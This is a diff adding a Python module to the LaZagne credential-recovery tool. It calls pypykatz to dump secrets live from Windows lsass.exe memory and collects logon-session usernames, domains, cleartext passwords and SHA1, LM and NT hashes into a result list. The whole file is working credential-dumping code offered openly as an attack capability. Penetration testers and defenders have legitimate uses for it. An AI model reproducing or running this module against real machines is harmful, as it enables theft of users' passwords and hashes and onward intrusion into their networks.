|
| 1 | +# -*- coding: utf-8 -*- |
| 2 | + |
| 3 | +# Thanks to @skelsec for his awesome tool Pypykatz |
| 4 | +# Checks his project here: https://github.com/skelsec/pypykatz |
| 5 | + |
| 6 | +import codecs |
| 7 | + |
| 8 | +from lazagne.config.module_info import ModuleInfo |
| 9 | +from lazagne.config.constant import constant |
| 10 | +from pypykatz.pypykatz import pypykatz |
| 11 | + |
| 12 | + |
| 13 | +class Pypykatz(ModuleInfo): |
| 14 | + """ |
| 15 | + Pypykatz dumps all secrets from the lsass.exe memory |
| 16 | + It does not work if: |
| 17 | + - LSASS is running as a protected process |
| 18 | + - A security product blocks this access |
| 19 | + """ |
| 20 | + |
| 21 | + def __init__(self): |
| 22 | + ModuleInfo.__init__(self, 'pypykatz', 'windows', system_module=True) |
| 23 | + |
| 24 | + def run(self): |
| 25 | + mimi = None |
| 26 | + try: |
| 27 | + mimi = pypykatz.go_live() |
| 28 | + except Exception: |
| 29 | + pass |
| 30 | + |
| 31 | + if mimi: |
| 32 | + results = {} |
| 33 | + logon_sessions = mimi.to_dict().get('logon_sessions', []) |
| 34 | + for logon_session in logon_sessions: |
| 35 | + |
| 36 | + # Right now kerberos_creds, dpapi_creds and credman_creds results are not used |
| 37 | + user = logon_sessions[logon_session].to_dict() |
| 38 | + |
| 39 | + # Get cleartext password |
| 40 | + for i in ['ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds']: |
| 41 | + for data in user.get(i, []): |
| 42 | + if all((data['username'], data['domainname'], data['password'])): |
| 43 | + login = data['username'] |
| 44 | + if login not in results: |
| 45 | + results[login] = {} |
| 46 | + |
| 47 | + results[login]['Domain'] = data['domainname'] |
| 48 | + results[login]['Password'] = data['password'] |
| 49 | + |
| 50 | + # msv_creds to get sha1 user hash |
| 51 | + for data in user.get('msv_creds', []): |
| 52 | + if data['username']: |
| 53 | + login = data['username'] |
| 54 | + else: |
| 55 | + login = user['username'] |
| 56 | + |
| 57 | + if login not in results: |
| 58 | + results[login] = {} |
| 59 | + |
| 60 | + if data['SHAHash']: |
| 61 | + results[login]['Shahash'] = codecs.encode(data['SHAHash'], 'hex') |
| 62 | + if data['LMHash']: |
| 63 | + results[login]['Lmhash'] = codecs.encode(data['LMHash'], 'hex') |
| 64 | + if data['NThash']: |
| 65 | + results[login]['Nthash'] = codecs.encode(data['NThash'], 'hex') |
| 66 | + |
| 67 | + constant.pypykatz_result = results |
| 68 | + pwd_found = [] |
| 69 | + for user in results: |
| 70 | + results[user]['Login'] = user |
| 71 | + pwd_found.append(results[user]) |
| 72 | + |
| 73 | + return pwd_found |
0 commit comments